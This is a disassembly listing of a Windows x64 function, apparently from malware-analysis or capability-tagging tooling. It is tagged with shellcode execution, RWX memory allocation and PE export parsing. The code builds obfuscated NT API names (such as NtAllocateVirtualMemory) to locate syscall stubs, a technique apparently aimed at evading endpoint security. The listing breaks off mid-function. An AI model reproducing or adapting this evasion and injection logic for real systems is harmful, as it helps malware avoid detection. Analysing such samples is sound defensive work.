Function at 0x1400040d7
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Enumerate processes
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x5420
call fcn.140016760
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140015870
call fcn.140001701
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x5378], eax
mov eax, dword [rbp + 0x5378]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5370], rax
mov rax, qword [rbp + 0x5370]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x5368], rax
mov rax, qword [rbp + 0x5368]
add rax, 0x17
mov qword [rbp + 0x5360], rax
mov rax, qword [rbp + 0x5360]
add rax, 0x17
mov qword [rbp + 0x5358], rax
mov rax, qword [rbp + 0x5358]
add rax, 0x17
mov qword [rbp + 0x5350], rax
mov rax, qword [rbp + 0x5350]
add rax, 0x17
mov qword [rbp + 0x5348], rax
mov rax, qword [rbp + 0x5348]
add rax, 0x17
mov qword [rbp + 0x5340], rax
mov rax, qword [rbp + 0x5340]
add rax, 0x17
mov qword [rbp + 0x5338], rax
mov rax, qword [rbp + 0x5338]
add rax, 0x17
mov qword [rbp + 0x5330], rax
mov rax, qword [rbp + 0x5330]
add rax, 0x17
mov qword [rbp + 0x5328], rax
mov rax, qword [rbp + 0x5328]
add rax, 0x17
mov qword [rbp + 0x5320], rax
mov rax, qword [rbp + 0x5320]
add rax, 0x17
mov qword [rbp + 0x5318], rax
mov rax, qword [rbp + 0x5318]
add rax, 0x17
mov qword [rbp + 0x5310], rax
mov rax, qword [rbp + 0x5310]
add rax, 0x17
mov qword [rbp + 0x5308], rax
mov rax, qword [rbp + 0x5308]
add rax, 0x17
mov qword [rbp + 0x5300], rax
mov rax, qword [rbp + 0x5300]
add rax, 0x17
mov qword [rbp + 0x52f8], rax
mov rax, qword [rbp + 0x52f8]
add rax, 0x17
mov qword [rbp + 0x52f0], rax
mov rax, qword [rbp + 0x52f0]
add rax, 0x17
mov qword [rbp + 0x52e8], rax
mov rax, qword [rbp + 0x52e8]
add rax, 0x17
mov qword [rbp + 0x52e0], rax
mov dword [rbp + 0x24cc], 0
mov qword [rbp + 0x52d8], 0
mov dword [rbp + 0x52d4], 0
mov dword [rbp + 0x24c8], 0
mov qword [rbp + 0x52c8], 0
mov rax, qword [rbp + 0x5368]
mov qword [0x140134048], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5368]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5360]
mov qword [0x140134050], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5360]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5358]
mov qword [0x140134058], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5358]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5350]
mov qword [0x140134060], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5350]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5348]
mov qword [0x140134068], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5348]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5340]
mov qword [0x140134070], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5340]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5338]
mov qword [0x140134078], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5338]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5330]
mov qword [0x140134080], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5330]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5328]
mov qword [0x140134088], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5328]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5320]
mov qword [0x140134090], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5320]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5318]
mov qword [0x140134098], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5318]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5310]
mov qword [0x1401340a0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5310]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5308]
mov qword [0x1401340a8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5308]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5300]
mov qword [0x1401340b0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5300]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f8]
mov qword [0x1401340b8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52f8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f0]
mov qword [0x1401340c0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52e8]
mov qword [0x1401340c8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52e8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52e0]
mov qword [0x1401340d0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52e0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x140108548]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x52d8], rax
mov rax, qword [rbp + 0x52d8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x52d4], eax
mov ebx, dword [rbp + 0x52d4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x52c8], rax
lea r8, [rbp + 0x24c8]
mov ecx, dword [rbp + 0x52d4]
mov rdx, qword [rbp + 0x52c8]
mov rax, qword [rbp + 0x52d8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x52c8]
mov qword [rbp + 0x52c0], rax
mov rax, qword [rbp + 0x52c0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x52c8]
add rax, rdx
mov qword [rbp + 0x52b8], rax
mov rax, qword [rbp + 0x52b8]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x52b4], eax
mov rax, qword [rbp + 0x52b8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x52b8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x5398], rax
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x52a8], rax
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x5390], rax
mov dword [rbp + 0x538c], 0
mov rax, qword [rbp + 0x52b8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x538c], eax
jge 0x140004828
mov rax, qword [rbp + 0x5398]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140004817
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x5390], rax
jmp 0x140004828
add qword [rbp + 0x5398], 0x28
add dword [rbp + 0x538c], 1
jmp 0x1400047d7
mov edx, dword [rbp + 0x52b4]
mov rax, qword [rbp + 0x52c8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x5390]
mov rdx, rax
call fcn.14000159d
mov qword [rbp + 0x52a0], rax
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x279f]
lea rax, [rbp + 0x2770]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x140108571]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x140108577]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0x26b0]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2670]
lea rdx, [rbp + 0x2690]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2650]
lea rdx, [rbp + 0x2670]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x14010857d]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x140108585]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x140108587]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x140108589]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2670]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x27a0]
mov rcx, qword [rbp + 0x5368]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140004cce
lea rbx, [0x14010858b]
jmp 0x140004cd5
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x2a4f]
lea rax, [rbp + 0x2a20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x2a20]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a00]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29e0]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29c0]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2980]
lea rdx, [rbp + 0x29a0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2960]
lea rdx, [rbp + 0x2980]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2940]
lea rdx, [rbp + 0x2960]
lea r8, [0x14010857d]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x2940]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x140108585]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x140108587]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x140108589]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x27c0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2940]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x29a0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x29c0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x29e0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2a00]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2a20]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2a50]
mov rcx, qword [rbp + 0x5360]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x140005116
lea rbx, [0x14010858b]
jmp 0x14000511d
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x2d3f]
lea rax, [rbp + 0x2d10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x2cf0]
lea rdx, [rbp + 0x2d10]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2cd0]
lea rdx, [rbp + 0x2cf0]
lea r8, [0x1401085ab]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2cb0]
lea rdx, [rbp + 0x2cd0]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2c90]
lea rdx, [rbp + 0x2cb0]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c90]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c70]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2c30]
lea rdx, [rbp + 0x2c50]
lea r8, [0x140108577]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c30]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2c10]
lea r8, [0x14010857d]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bf0]
lea r8, [0x14010857f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2bd0]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2bb0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x140108583]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x140108573]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x140108585]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x140108587]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x140108575]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x140108589]
mov rcx, rax
call fcn.1400b7810
lea rdx, [rbp + 0x2a70]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a7f20
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2bb0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2bd0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2c10]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2c30]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2c50]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2c70]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2c90]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2cb0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2cd0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2cf0]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2d10]
mov rcx, rax
call fcn.1400a7ee0
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.14006fae0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.1400a7420
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2d40]
mov rcx, qword [rbp + 0x5358]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400015ca
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.1400a7ee0
cmp dword [rbp + 0x529c], 0
je 0x1400055b6
lea rbx, [0x14010858b]
jmp 0x1400055bd
lea rbx, [0x140108590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140032770
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.140001540
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.14006fab0
lea rdx, [rbp + 0x2f6f]
lea rax, [rbp + 0x2f40]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a7890
lea rax, [rbp + 0x2f20]
lea rdx, [rbp + 0x2f40]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2f00]
lea rdx, [rbp + 0x2f20]
lea r8, [0x1401085ad]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2ee0]
lea rdx, [rbp + 0x2f00]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2ec0]
lea rdx, [rbp + 0x2ee0]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2ea0]
lea rdx, [rbp + 0x2ec0]
lea r8, [0x140108579]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x2ea0]
lea r8, [0x14010856f]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2e60]
lea rdx, [rbp + 0x2e80]
lea r8, [0x14010857b]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2e40]
lea rdx, [rbp + 0x2e60]
lea r8, [0x1401085af]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2e20]
lea rdx, [rbp + 0x2e40]
lea r8, [0x1401085b1]
mov rcx, rax
call fcn.1400b7810
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x140108581]
mov rcx, rax
call fcn.1400b7810
